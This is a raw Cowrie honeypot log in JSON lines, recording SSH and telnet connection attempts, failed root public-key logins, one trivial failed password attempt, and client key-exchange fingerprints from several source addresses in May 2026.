{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:f3:d1:75:0b:1b:4a:50:1a:d8:fe:35:20:41:48:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDm+47D3SFvUN8+vFiaVOiPTY9QqRW+nrs/c/Jq7u132BeoAlvdGO60KBWv3mMtTkQjjW4DSR6Cvu8jvx1RgkggXj9My4RaVYB7THI8GL4IGl7+RD52KMqaa3CDz/dTFk1rBp0/yBMg5XcbK0dOXjA9mjtgfOdYuvzLrhi/BXa67YICq0haBjLxiHhzSZP+o0eUhhhWJ/XtU8q9FDEyaluoH5HIZY9k1yro1FlOJjeYWhpApOEl/zP4EN5IukpV0IxD7ddU4SBdmRddC7qEiUtIFcsNw5agJD+2euULDGnv05aZGoV4Ch1UTUBihreYevAUfVWhEmDtZ4VCoX63UFVR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:f3:d1:75:0b:1b:4a:50:1a:d8:fe:35:20:41:48:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.792683Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:f3:d1:75:0b:1b:4a:50:1a:d8:fe:35:20:41:48:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDm+47D3SFvUN8+vFiaVOiPTY9QqRW+nrs/c/Jq7u132BeoAlvdGO60KBWv3mMtTkQjjW4DSR6Cvu8jvx1RgkggXj9My4RaVYB7THI8GL4IGl7+RD52KMqaa3CDz/dTFk1rBp0/yBMg5XcbK0dOXjA9mjtgfOdYuvzLrhi/BXa67YICq0haBjLxiHhzSZP+o0eUhhhWJ/XtU8q9FDEyaluoH5HIZY9k1yro1FlOJjeYWhpApOEl/zP4EN5IukpV0IxD7ddU4SBdmRddC7qEiUtIFcsNw5agJD+2euULDGnv05aZGoV4Ch1UTUBihreYevAUfVWhEmDtZ4VCoX63UFVR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.799022Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:62:2b:01:ab:0e:44:29:33:ee:de:fe:7c:ad:0e:7a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJQoLp56roLtKPlHyIfpODf1hAbBz5fvJLCjvfnwat4j7cO9YF90Ys3xvB8kBWVtXVDd8/8GtSenNN24wfbZTSyILgOZNAxbEltbI3XB12Fp/fDOUDFeyjwpgphj2tI/4sMUKPRwT+OlAkXm0DtNhxrHTgkdd1xdJETKllR+L4DfAAAAFQC83UkHx2cEJTy4m8vkqNKsvnk7bwAAAIANISEYMldOwmUtfc0CZQ13gfAoluJOcDgiwmoc21mAYDVPF7pss5jBnuVm93qVzDZv1IFtwz5zOWiNCU4j8Cp4ofwFWd2//AT4mycPx3b0SPchNojEWU+ZT+DU8Y9x07pC98UH52uppE23bqA/fvEeLD4fgHjCfuTDcnOckhihzQAAAIBkE3AHcUxogP1wmdvRcVcRf4QjsTvTwghcaLkpOhPtZ7wgP+TKDmEKmogUWoIgcUNPlb3BViNkhHKDRZi98Y6G3OSPzMQzA+iJ+wzmpB3e/eZRGDlMaqfmFu8nvQk4WCg3C4EoZbQhJqpzjCMq5iCiSJ2xfpy3jU22ByzTNgzwMA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint e0:62:2b:01:ab:0e:44:29:33:ee:de:fe:7c:ad:0e:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.811392Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:62:2b:01:ab:0e:44:29:33:ee:de:fe:7c:ad:0e:7a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJQoLp56roLtKPlHyIfpODf1hAbBz5fvJLCjvfnwat4j7cO9YF90Ys3xvB8kBWVtXVDd8/8GtSenNN24wfbZTSyILgOZNAxbEltbI3XB12Fp/fDOUDFeyjwpgphj2tI/4sMUKPRwT+OlAkXm0DtNhxrHTgkdd1xdJETKllR+L4DfAAAAFQC83UkHx2cEJTy4m8vkqNKsvnk7bwAAAIANISEYMldOwmUtfc0CZQ13gfAoluJOcDgiwmoc21mAYDVPF7pss5jBnuVm93qVzDZv1IFtwz5zOWiNCU4j8Cp4ofwFWd2//AT4mycPx3b0SPchNojEWU+ZT+DU8Y9x07pC98UH52uppE23bqA/fvEeLD4fgHjCfuTDcnOckhihzQAAAIBkE3AHcUxogP1wmdvRcVcRf4QjsTvTwghcaLkpOhPtZ7wgP+TKDmEKmogUWoIgcUNPlb3BViNkhHKDRZi98Y6G3OSPzMQzA+iJ+wzmpB3e/eZRGDlMaqfmFu8nvQk4WCg3C4EoZbQhJqpzjCMq5iCiSJ2xfpy3jU22ByzTNgzwMA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.815811Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:11:e2:c4:1b:ba:65:2b:8e:27:e5:49:94:c1:1e:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7vmW3UNFSkPjPvW7OpZEo0WyVMnBeh/4aK9VTvwpPOlPobJb/7o/SQ2OZ5Go/fcZ1yVpQAPtBsRi99TrmHYP71+WxYFm5r9m8IG6UQidt/1SH6dotCSIuESDEjmN8ROmrtZPxyVfsjypDUlJyFXjDXMJcP4jj41snJ8X9EI3P3632CT/kT7N2eSGNXldPU5SLPJZXeOyXctq6QtUB5AROMkK3WLtNQhm5dZlcmNPvvXXgcoL7vc12u7CFTKL8Fj+GIWPCpG6hgdUPvWDN0qrqDaJSHVv8DRTV3+rgnJaMEmpa9XY0ypigToRPFNskgk2z9YsgJ+C6nKy0Uqlc1V7/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:11:e2:c4:1b:ba:65:2b:8e:27:e5:49:94:c1:1e:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.826063Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:11:e2:c4:1b:ba:65:2b:8e:27:e5:49:94:c1:1e:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7vmW3UNFSkPjPvW7OpZEo0WyVMnBeh/4aK9VTvwpPOlPobJb/7o/SQ2OZ5Go/fcZ1yVpQAPtBsRi99TrmHYP71+WxYFm5r9m8IG6UQidt/1SH6dotCSIuESDEjmN8ROmrtZPxyVfsjypDUlJyFXjDXMJcP4jj41snJ8X9EI3P3632CT/kT7N2eSGNXldPU5SLPJZXeOyXctq6QtUB5AROMkK3WLtNQhm5dZlcmNPvvXXgcoL7vc12u7CFTKL8Fj+GIWPCpG6hgdUPvWDN0qrqDaJSHVv8DRTV3+rgnJaMEmpa9XY0ypigToRPFNskgk2z9YsgJ+C6nKy0Uqlc1V7/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.829816Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:73:6c:ad:de:1e:45:18:ac:72:8b:85:a4:0d:2c:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqwYjC9IzMpQQ9or8MfNL8ALh0u50rrlNT9efaqnbYs/5FMb94BDOThJvkBaD2ETA1NxrsRuqxrMPUKnNCAbd5jQUeUVxmyK7ZLOBMlZpR52dKRiNmrhmi9HjXz8xI4mqbrDY2W4yDg7K0h86z59YtrSV8dn6TJyOawK1FruZFgwdxDGPYLZFOHdsjl7rMnczPBuN6KM10ajdQ++yACoKDfDp0CgWUFM/UDwa8VdA4xqIViazPZosdY+/rTaR5PTwVCTFrv3A6x6ipYFYfWlT3xi+kigcaNbLewZPwN/LTZ+sFoP1lfVvpLTeN/7xinvmfJPgoXU75/nQj8JO4rALBu61GhtKQvjS0E1ky5iPRNrR2T7uRVGx0nEfjnTEDeuFMQhGh5xj4wUcL0wI/U/svpGY+tKEEp6IL+MJRAjg+FU4Eb0XKiPr4MU7X5gIKUfymmir9JQmVNMdCRTf0/xLGUwk82v6gFnel6Y67Ix/8jcYEtpc2dLc4jFIM33Sau+Echf7mYvR+xH1WPICZXRtKNK6euE4x921ZaDgza449KmiZjzFjPqFdbNnkJbOyA7FIMZDT1jkyeToKpLHt1lzPrRBNPbdTSOH2RdgLUs9uV7OwDaqCMqjtr6/YiCqAoJalV+e3QNHF6q6yS2v+O/wzlxWmlU2MVAejK8mepG8H+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:73:6c:ad:de:1e:45:18:ac:72:8b:85:a4:0d:2c:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.841226Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:73:6c:ad:de:1e:45:18:ac:72:8b:85:a4:0d:2c:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqwYjC9IzMpQQ9or8MfNL8ALh0u50rrlNT9efaqnbYs/5FMb94BDOThJvkBaD2ETA1NxrsRuqxrMPUKnNCAbd5jQUeUVxmyK7ZLOBMlZpR52dKRiNmrhmi9HjXz8xI4mqbrDY2W4yDg7K0h86z59YtrSV8dn6TJyOawK1FruZFgwdxDGPYLZFOHdsjl7rMnczPBuN6KM10ajdQ++yACoKDfDp0CgWUFM/UDwa8VdA4xqIViazPZosdY+/rTaR5PTwVCTFrv3A6x6ipYFYfWlT3xi+kigcaNbLewZPwN/LTZ+sFoP1lfVvpLTeN/7xinvmfJPgoXU75/nQj8JO4rALBu61GhtKQvjS0E1ky5iPRNrR2T7uRVGx0nEfjnTEDeuFMQhGh5xj4wUcL0wI/U/svpGY+tKEEp6IL+MJRAjg+FU4Eb0XKiPr4MU7X5gIKUfymmir9JQmVNMdCRTf0/xLGUwk82v6gFnel6Y67Ix/8jcYEtpc2dLc4jFIM33Sau+Echf7mYvR+xH1WPICZXRtKNK6euE4x921ZaDgza449KmiZjzFjPqFdbNnkJbOyA7FIMZDT1jkyeToKpLHt1lzPrRBNPbdTSOH2RdgLUs9uV7OwDaqCMqjtr6/YiCqAoJalV+e3QNHF6q6yS2v+O/wzlxWmlU2MVAejK8mepG8H+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.845344Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.860044Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45168,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dd2a1fc6c98","protocol":"ssh","message":"New connection: 45.153.34.112:45168 (10.17.0.5:22) [session: 1dd2a1fc6c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:14.101709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:14.106193Z","src_ip":"45.153.34.112","session":"1dd2a1fc6c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.227966785430908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:14.113902Z","src_ip":"192.119.13.58","session":"9fc8f227b354","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:14.190163Z","src_ip":"45.153.34.112","session":"1dd2a1fc6c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53218,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6343f470533","protocol":"telnet","message":"New connection: 192.119.13.58:53218 (10.17.0.5:23) [session: f6343f470533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:14.523332Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58144,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d7ad56dd519","protocol":"telnet","message":"New connection: 192.119.13.58:58144 (10.17.0.5:23) [session: 3d7ad56dd519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:15.706919Z"}
{"eventid":"cowrie.session.closed","duration":40.77539277076721,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:17.470334Z","src_ip":"192.119.13.58","session":"27644de05432","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46010,"dst_ip":"10.17.0.5","dst_port":23,"session":"0604364555d3","protocol":"telnet","message":"New connection: 192.119.13.58:46010 (10.17.0.5:23) [session: 0604364555d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:19.562875Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:22.102408Z","src_ip":"45.153.34.112","session":"1dd2a1fc6c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48480,"dst_ip":"10.17.0.5","dst_port":23,"session":"2033fd4e4c61","protocol":"telnet","message":"New connection: 192.119.13.58:48480 (10.17.0.5:23) [session: 2033fd4e4c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:26.787402Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51550,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3ffd078c799","protocol":"telnet","message":"New connection: 192.119.13.58:51550 (10.17.0.5:23) [session: c3ffd078c799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:27.575075Z"}
{"eventid":"cowrie.session.closed","duration":42.01055860519409,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:39.959730Z","src_ip":"192.119.13.58","session":"c82d5fd710a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.687790632247925,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:40.350132Z","src_ip":"192.119.13.58","session":"e6203588451c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":55540,"dst_ip":"159.203.135.109","dst_port":22,"session":"71fc39e3108b","protocol":"ssh","message":"New connection: 176.65.148.108:55540 (159.203.135.109:22) [session: 71fc39e3108b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:40.972422Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:41.057091Z","src_ip":"176.65.148.108","session":"71fc39e3108b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":55546,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf949b77754e","protocol":"ssh","message":"New connection: 176.65.148.108:55546 (159.203.135.109:22) [session: bf949b77754e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:41.136025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:41.140811Z","src_ip":"176.65.148.108","session":"bf949b77754e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:41.223741Z","src_ip":"176.65.148.108","session":"bf949b77754e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:41.471714Z","src_ip":"176.65.148.108","session":"bf949b77754e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:42.558576Z","src_ip":"176.65.148.108","session":"bf949b77754e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58598,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8dfdfe4f327","protocol":"telnet","message":"New connection: 192.119.13.58:58598 (10.17.0.5:23) [session: a8dfdfe4f327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:43.005440Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57320,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3f68e2c7460","protocol":"telnet","message":"New connection: 192.119.13.58:57320 (10.17.0.5:23) [session: f3f68e2c7460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:43.732595Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59658,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bb2ceffdd8d","protocol":"telnet","message":"New connection: 192.119.13.58:59658 (10.17.0.5:23) [session: 5bb2ceffdd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:50.188348Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59730,"dst_ip":"10.17.0.5","dst_port":23,"session":"0de83b997766","protocol":"telnet","message":"New connection: 192.119.13.58:59730 (10.17.0.5:23) [session: 0de83b997766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:50.214340Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41574,"dst_ip":"10.17.0.5","dst_port":23,"session":"611aa2d8a8f5","protocol":"telnet","message":"New connection: 192.119.13.58:41574 (10.17.0.5:23) [session: 611aa2d8a8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:52.516693Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43310,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c7b0b319b55","protocol":"telnet","message":"New connection: 192.119.13.58:43310 (10.17.0.5:23) [session: 5c7b0b319b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:52.888299Z"}
{"eventid":"cowrie.session.closed","duration":38.06177496910095,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:53.768573Z","src_ip":"192.119.13.58","session":"3d7ad56dd519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.30718636512756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:53.869933Z","src_ip":"192.119.13.58","session":"0604364555d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.018723487854004,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:54.541923Z","src_ip":"192.119.13.58","session":"f6343f470533","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53412,"dst_ip":"10.17.0.5","dst_port":23,"session":"102fa2421b0e","protocol":"telnet","message":"New connection: 192.119.13.58:53412 (10.17.0.5:23) [session: 102fa2421b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:55.168224Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33912,"dst_ip":"10.17.0.5","dst_port":23,"session":"6741df323329","protocol":"telnet","message":"New connection: 192.119.13.58:33912 (10.17.0.5:23) [session: 6741df323329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:03.909339Z"}
{"eventid":"cowrie.session.closed","duration":0.01395106315612793,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:03.923167Z","src_ip":"192.119.13.58","session":"6741df323329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34756,"dst_ip":"10.17.0.5","dst_port":23,"session":"e28b65bdb35c","protocol":"telnet","message":"New connection: 192.119.13.58:34756 (10.17.0.5:23) [session: e28b65bdb35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:04.116770Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.111.210.225","src_port":52945,"dst_ip":"10.17.0.5","dst_port":23,"session":"207264407ded","protocol":"telnet","message":"New connection: 182.111.210.225:52945 (10.17.0.5:23) [session: 207264407ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:04.464757Z"}
{"eventid":"cowrie.session.closed","duration":38.09985280036926,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:04.887169Z","src_ip":"192.119.13.58","session":"2033fd4e4c61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50988,"dst_ip":"10.17.0.5","dst_port":23,"session":"91b3cd9c70a8","protocol":"telnet","message":"New connection: 192.119.13.58:50988 (10.17.0.5:23) [session: 91b3cd9c70a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:08.142894Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46996,"dst_ip":"10.17.0.5","dst_port":23,"session":"c472e1c6bd73","protocol":"telnet","message":"New connection: 192.119.13.58:46996 (10.17.0.5:23) [session: c472e1c6bd73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:13.815940Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47966,"dst_ip":"10.17.0.5","dst_port":23,"session":"413fc2a66175","protocol":"telnet","message":"New connection: 192.119.13.58:47966 (10.17.0.5:23) [session: 413fc2a66175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:14.037961Z"}
